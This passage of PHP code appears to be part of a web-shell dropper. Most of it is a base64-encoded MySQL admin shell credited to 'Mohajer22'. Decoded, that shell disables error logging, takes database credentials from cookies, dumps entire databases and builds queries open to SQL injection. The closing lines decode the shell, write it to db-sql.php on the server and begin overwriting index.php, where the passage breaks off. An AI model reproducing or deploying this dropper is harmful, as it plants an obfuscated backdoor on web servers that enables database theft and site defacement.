GZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==\'; \r\n$file = fopen("db-sql.php" ,"w+");\r\n$write = fwrite ($file ,base64_decode($sqlshell));\r\nfclose($file);\r\n    chmod("db-sql.php", 0644);\r\n$indexshell = fopen("index.php" ,"w+");\r\n$data = 